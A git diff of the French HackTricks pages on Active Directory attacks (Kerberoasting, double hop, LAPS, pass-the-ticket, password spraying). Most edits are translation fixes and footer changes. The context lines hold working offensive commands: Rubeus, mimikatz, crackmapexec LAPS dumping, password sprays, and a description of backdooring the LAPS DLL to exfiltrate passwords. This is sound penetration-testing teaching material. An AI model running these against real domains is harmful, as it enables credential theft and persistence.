Semperis](https://www.semperis.com/blog/new-attack-paths-as-requested-sts/). @@ -171,7 +171,7 @@ GetUserSPNs.py -no-preauth "NO_PREAUTH_USER" -usersfile "LIST_USERS" -dc-host "d ``` #### Windows -* [GhostPack/Rubeus du PR #139](https://github.com/GhostPack/Rubeus/pull/139): +* [GhostPack/Rubeus from PR #139](https://github.com/GhostPack/Rubeus/pull/139): ```bash Rubeus.exe kerberoast /outfile:kerberoastables.txt /domain:"domain.local" /dc:"dc.domain.local" /nopreauth:"NO_PREAUTH_USER" /spn:"TARGET_SERVICE" ``` @@ -189,7 +189,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/windows-hardening/active-directory-methodology/kerberos-authentication.md b/windows-hardening/active-directory-methodology/kerberos-authentication.md index 96c2ccd97..fe14e0f2e 100644 --- a/windows-hardening/active-directory-methodology/kerberos-authentication.md +++ b/windows-hardening/active-directory-methodology/kerberos-authentication.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PRs au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md index e3c8334bd..4f7a2d8a6 100644 --- a/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md +++ b/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -2,13 +2,13 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Vous souhaitez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Travaillez-vous dans une **entreprise de cybersécurité**? Vous souhaitez voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@@ -20,10 +20,10 @@ Lorsqu'une **authentification** se produit via **Kerberos**, les **informations Cela est dû au fait que lors de la connexion avec Kerberos, les étapes suivantes sont suivies : -1. L'utilisateur 1 fournit des informations d'identification et le **contrôleur de domaine** renvoie un **TGT** Kerberos à l'utilisateur 1. -2. L'utilisateur 1 utilise le **TGT** pour demander un **ticket de service** pour se **connecter** au Serveur 1. -3. L'utilisateur 1 se **connecte** au **Serveur 1** et fournit le **ticket de service**. -4. Le **Serveur 1** n'a pas les **informations d'identification** de l'utilisateur 1 en cache ni le **TGT** de l'utilisateur 1. Par conséquent, lorsque l'utilisateur 1 du Serveur 1 tente de se connecter à un deuxième serveur, il **ne peut pas s'authentifier**. +1. L'utilisateur fournit des informations d'identification et le **contrôleur de domaine** renvoie un **TGT** Kerberos à l'utilisateur. +2. L'utilisateur utilise le **TGT** pour demander un **ticket de service** pour se **connecter** au Serveur1. +3. L'utilisateur se **connecte** au **Serveur1** et fournit le **ticket de service**. +4. Le **Serveur1** n'a pas les **informations d'identification** de l'utilisateur en cache ni le **TGT** de l'utilisateur. Par conséquent, lorsque l'utilisateur de Serveur1 tente de se connecter à un deuxième serveur, il **ne peut pas s'authentifier**. ### Délégation non contrainte @@ -32,7 +32,7 @@ Si la **délégation non contrainte** est activée sur le PC, cela ne se produir ### CredSSP -Une autre façon d'éviter ce problème, qui est [**notablement peu sécurisée**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), est le **Provider de support de sécurité des informations d'identification**. Selon Microsoft : +Une autre façon d'éviter ce problème, qui est [**notablement peu sécurisée**](https://docs.microsoft.com/en-us/powershell/module/microsoft.wsman.management/enable-wsmancredssp?view=powershell-7), est le **Fournisseur de prise en charge de la sécurité des informations d'identification**. Selon Microsoft : > L'authentification CredSSP délègue les informations d'identification de l'utilisateur de l'ordinateur local à un ordinateur distant. Cette pratique augmente le risque de sécurité de l'opération à distance. Si l'ordinateur distant est compromis, lorsque les informations d'identification lui sont transmises, les informations d'identification peuvent être utilisées pour contrôler la session réseau. @@ -46,7 +46,7 @@ Get-WSManCredSSP ### Appeler la commande -Pour résoudre le problème du double saut, une méthode impliquant un `Invoke-Command` imbriqué est présentée. Cela ne résout pas directement le problème mais offre une solution de contournement sans nécessiter de configurations spéciales. Cette approche permet d'exécuter une commande (`hostname`) sur un serveur secondaire via une commande PowerShell exécutée à partir d'une machine d'attaque initiale ou via une session PS précédemment établie avec le premier serveur. Voici comment procéder : +Pour résoudre le problème du double saut, une méthode impliquant un `Invoke-Command` imbriqué est présentée. Cela ne résout pas le problème directement mais offre une solution de contournement sans nécessiter de configurations spéciales. Cette approche permet d'exécuter une commande (`hostname`) sur un serveur secondaire via une commande PowerShell exécutée à partir d'une machine d'attaque initiale ou via une session PS précédemment établie avec le premier serveur. Voici comment procéder : ```powershell $cred = Get-Credential ta\redsuit Invoke-Command -ComputerName bizintel -Credential $cred -ScriptBlock { @@ -98,7 +98,7 @@ icacls.exe "C:\Users\redsuit\Documents\ssh\OpenSSH-Win64" /grant Everyone:RX /T
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) diff --git a/windows-hardening/active-directory-methodology/laps.md b/windows-hardening/active-directory-methodology/laps.md index 1b30d9d4c..5a1f42d19 100644 --- a/windows-hardening/active-directory-methodology/laps.md +++ b/windows-hardening/active-directory-methodology/laps.md @@ -2,21 +2,21 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité**? Vous voulez voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) -* **Rejoignez** le [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
## Informations de base -La solution de mot de passe d'administrateur local (LAPS) est un outil utilisé pour gérer un système où les **mots de passe d'administrateur**, qui sont **uniques, aléatoires et fréquemment modifiés**, sont appliqués aux ordinateurs joints à un domaine. Ces mots de passe sont stockés de manière sécurisée dans Active Directory et ne sont accessibles qu'aux utilisateurs ayant reçu l'autorisation via des listes de contrôle d'accès (ACL). La sécurité des transmissions de mot de passe du client vers le serveur est assurée par l'utilisation de **Kerberos version 5** et du **Standard de Cryptage Avancé (AES)**. +Local Administrator Password Solution (LAPS) est un outil utilisé pour gérer un système où les **mots de passe administrateur**, qui sont **uniques, aléatoires et fréquemment modifiés**, sont appliqués aux ordinateurs joints à un domaine. Ces mots de passe sont stockés de manière sécurisée dans Active Directory et ne sont accessibles qu'aux utilisateurs ayant reçu l'autorisation via des listes de contrôle d'accès (ACL). La sécurité des transmissions de mots de passe du client vers le serveur est assurée par l'utilisation de **Kerberos version 5** et du **Standard de Cryptage Avancé (AES)**. -Dans les objets informatiques du domaine, la mise en œuvre de LAPS se traduit par l'ajout de deux nouveaux attributs : **`ms-mcs-AdmPwd`** et **`ms-mcs-AdmPwdExpirationTime`**. Ces attributs stockent respectivement le **mot de passe d'administrateur en texte clair** et **son heure d'expiration**. +Dans les objets informatiques du domaine, la mise en œuvre de LAPS entraîne l'ajout de deux nouveaux attributs : **`ms-mcs-AdmPwd`** et **`ms-mcs-AdmPwdExpirationTime`**. Ces attributs stockent respectivement le **mot de passe administrateur en texte clair** et **son heure d'expiration**. ### Vérifier s'il est activé ```bash @@ -67,7 +67,7 @@ Get-DomainObject -Identity wkstn-2 -Properties ms-Mcs-AdmPwd ### LAPSToolkit Le [LAPSToolkit](https://github.com/leoloobeek/LAPSToolkit) facilite l'énumération des LAPS avec plusieurs fonctions.\ -L'une d'entre elles est l'analyse des **`ExtendedRights`** pour **tous les ordinateurs avec LAPS activé.** Cela montrera les **groupes** spécifiquement **délivrés pour lire les mots de passe LAPS**, qui sont souvent des utilisateurs dans des groupes protégés.\ +L'une d'entre elles est l'analyse des **`ExtendedRights`** pour **tous les ordinateurs avec LAPS activé.** Cela montrera les **groupes** spécifiquement **délégués pour lire les mots de passe LAPS**, qui sont souvent des utilisateurs dans des groupes protégés.\ Un **compte** qui a **rejoint un ordinateur** à un domaine reçoit `Tous les droits étendus` sur cet hôte, et ce droit donne au **compte** la capacité de **lire les mots de passe**. L'énumération peut montrer un compte utilisateur qui peut lire le mot de passe LAPS sur un hôte. Cela peut nous aider à **cibler des utilisateurs AD spécifiques** qui peuvent lire les mots de passe LAPS. ```powershell # Get groups that can read passwords @@ -93,11 +93,11 @@ ComputerName Password Expiration DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41 ``` ## **Extraction des mots de passe LAPS avec Crackmapexec** -Si vous n'avez pas accès à PowerShell, vous pouvez abuser de ce privilège à distance via LDAP en utilisant +S'il n'y a pas d'accès à un powershell, vous pouvez abuser de ce privilège à distance via LDAP en utilisant ``` crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps ``` -## **Persistance LAPS** +## **Persistance de LAPS** ### **Date d'expiration** @@ -111,26 +111,26 @@ Get-DomainObject -Identity computer-21 -Properties ms-mcs-admpwdexpirationtime Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="232609935231523081"} ``` {% hint style="warning" %} -Le mot de passe sera toujours réinitialisé si un **administrateur** utilise la cmdlet **`Reset-AdmPwdPassword`**; ou si **Ne pas autoriser une durée d'expiration de mot de passe plus longue que celle requise par la stratégie** est activé dans le GPO LAPS. +Le mot de passe sera toujours réinitialisé si un **administrateur** utilise la cmdlet **`Reset-AdmPwdPassword`**; ou si **Ne pas autoriser un temps d'expiration de mot de passe plus long que celui requis par la stratégie** est activé dans le GPO LAPS. {% endhint %} ### Backdoor -Le code source original de LAPS peut être trouvé [ici](https://github.com/GreyCorbel/admpwd), il est donc possible d'ajouter une backdoor dans le code (à l'intérieur de la méthode `Get-AdmPwdPassword` dans `Main/AdmPwd.PS/Main.cs` par exemple) qui **exfiltrera de nouveaux mots de passe ou les stockera quelque part**. +Le code source original de LAPS peut être trouvé [ici](https://github.com/GreyCorbel/admpwd), il est donc possible d'ajouter une backdoor dans le code (à l'intérieur de la méthode `Get-AdmPwdPassword` dans `Main/AdmPwd.PS/Main.cs` par exemple) qui **exfiltre de nouveaux mots de passe ou les stocke quelque part**. -Ensuite, compilez le nouveau `AdmPwd.PS.dll` et téléversez-le sur la machine dans `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (et modifiez l'heure de modification). +Ensuite, il suffit de compiler le nouveau `AdmPwd.PS.dll` et de le téléverser sur la machine dans `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (et de modifier l'heure de modification). ## Références * [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! -* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) +* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index 0897ac745..60fdacec3 100644 --- a/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -2,7 +2,7 @@
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! * Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -14,9 +14,9 @@ ## Overpass The Hash/Pass The Key (PTK) -L'attaque **Overpass The Hash/Pass The Key (PTK)** est conçue pour les environnements où le protocole NTLM traditionnel est restreint et où l'authentification Kerberos prend le dessus. Cette attaque exploite le hachage NTLM ou les clés AES d'un utilisateur pour solliciter des tickets Kerberos, permettant un accès non autorisé aux ressources d'un réseau. +L'attaque **Overpass The Hash/Pass The Key (PTK)** est conçue pour les environnements où le protocole NTLM traditionnel est restreint et où l'authentification Kerberos prend le dessus. Cette attaque exploite le hachage NTLM ou les clés AES d'un utilisateur pour solliciter des tickets Kerberos, permettant un accès non autorisé aux ressources au sein d'un réseau. -Pour exécuter cette attaque, la première étape consiste à acquérir le hachage NTLM ou le mot de passe du compte de l'utilisateur ciblé. Après avoir sécurisé ces informations, un Ticket Granting Ticket (TGT) pour le compte peut être obtenu, permettant à l'attaquant d'accéder à des services ou machines auxquels l'utilisateur a des autorisations. +Pour exécuter cette attaque, la première étape consiste à acquérir le hachage NTLM ou le mot de passe du compte de l'utilisateur ciblé. Après avoir sécurisé ces informations, un Ticket Granting Ticket (TGT) pour le compte peut être obtenu, permettant à l'attaquant d'accéder aux services ou aux machines auxquels l'utilisateur a des autorisations. Le processus peut être initié avec les commandes suivantes: ```bash @@ -33,7 +33,7 @@ Une séquence de commandes alternative utilisant Rubeus.exe démontre un autre a .\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt .\PsExec.exe -accepteula \\labwws02.jurassic.park cmd ``` -Cette méthode reflète l'approche **Pass the Key**, en mettant l'accent sur la prise de contrôle et l'utilisation directe du ticket à des fins d'authentification. Il est crucial de noter que l'initiation d'une demande de TGT déclenche l'événement `4768: Un ticket d'authentification Kerberos (TGT) a été demandé`, signifiant une utilisation par défaut de RC4-HMAC, bien que les systèmes Windows modernes préfèrent AES256. +Cette méthode reflète l'approche **Pass the Key**, en mettant l'accent sur la prise de contrôle et l'utilisation du ticket directement à des fins d'authentification. Il est crucial de noter que le lancement d'une demande de TGT déclenche l'événement `4768: Un ticket d'authentification Kerberos (TGT) a été demandé`, signifiant une utilisation par défaut de RC4-HMAC, bien que les systèmes Windows modernes préfèrent AES256. Pour se conformer à la sécurité opérationnelle et utiliser AES256, la commande suivante peut être appliquée: ```bash @@ -45,12 +45,12 @@ Pour se conformer à la sécurité opérationnelle et utiliser AES256, la comman
-☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert de l'équipe rouge AWS de HackTricks)! -* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! +* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**. +* **Partagez vos astuces de piratage en soumettant des PR au [dépôt hacktricks](https://github.com/carlospolop/hacktricks) et au [dépôt hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
diff --git a/windows-hardening/active-directory-methodology/pass-the-ticket.md b/windows-hardening/active-directory-methodology/pass-the-ticket.md index acbbb6d10..afd8f12ca 100644 --- a/windows-hardening/active-directory-methodology/pass-the-ticket.md +++ b/windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -2,14 +2,14 @@
-Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)! +Apprenez le piratage AWS de zéro à héros avec htARTE (Expert Red Team AWS de HackTricks)! Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -53,7 +53,7 @@ python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass ``` {% endcode %} -{% code title="Windows" %}Pass-the-Ticket{% endcode %} +{% code title="Windows" %} ```bash #Load the ticket in memory using mimikatz or Rubeus mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi" @@ -84,7 +84,7 @@ Autres façons de soutenir HackTricks : * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) ! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
diff --git a/windows-hardening/active-directory-methodology/password-spraying.md b/windows-hardening/active-directory-methodology/password-spraying.md index 6ada4f1a0..3fe0ccca1 100644 --- a/windows-hardening/active-directory-methodology/password-spraying.md +++ b/windows-hardening/active-directory-methodology/password-spraying.md @@ -9,7 +9,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)! * Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com) * Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@@ -62,7 +62,7 @@ crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9c ```bash spray.sh -smb ``` -* Utilisation de [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - PAS RECOMMANDÉ PARFOIS NE FONCTIONNE PAS +* En utilisant [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - PAS RECOMMANDÉ PARFOIS NE FONCTIONNE PAS ```bash python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt @@ -114,7 +114,7 @@ Il existe plusieurs outils pour **effectuer un arrosage de mots de passe sur Out * Avec [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) * Avec [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) -Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / d'une petite liste de mots de passe à arroser. +Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et d'un mot de passe / une petite liste de mots de passe à arroser. ```bash ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose [x] Failed: larsson:Summer2020 @@ -133,7 +133,7 @@ Pour utiliser l'un de ces outils, vous avez besoin d'une liste d'utilisateurs et * [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) * [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) -## References +## Références * [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-password-spraying) * [https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell](https://www.ired.team/offensive-security/initial-access/password-spraying-outlook-web-access-remote-shell) @@ -149,7 +149,7 @@ Autres façons de soutenir HackTricks: * Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS 